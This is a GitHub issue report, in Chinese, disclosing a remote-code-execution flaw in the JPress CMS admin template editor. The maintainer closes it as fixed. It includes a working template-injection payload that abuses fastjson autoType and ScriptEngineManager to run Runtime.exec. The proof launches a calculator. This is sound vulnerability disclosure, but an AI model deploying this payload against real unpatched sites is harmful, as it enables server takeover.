JPressProjects / jpress

JPress,一个使用 Java 开发的建站神器,目前已经有 10w+ 网站使用 JPress 进行驱动,其中包括多个政府机构,200+上市公司,中科院、红+字会等。
http://www.jpress.cn
GNU Lesser General Public License v3.0
2.66k stars 1.18k forks source link

jpress后台存在命令执行漏洞-模板修改 #166

Closed Er1cccc closed 2 years ago

Er1cccc commented 2 years ago

审计过程

jpress后台存在模板编辑功能,不过存在些许过滤,我们使用fastjson来辅助获取ScriptEngineManager,然后执行任意js代码,就可以实现rce,payload如下

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) 
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js")) 
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))

效果演示

弱密码进入后台,修改article模板,加入上面给的payload

image-20211221213249369

点击更新文件 image-20211221213321860

访问http://localhost/article/1,计算器弹出,验证成功

image-20211221213346799

JPressProjects commented 2 years ago

在 jpress 最新版本中已解决。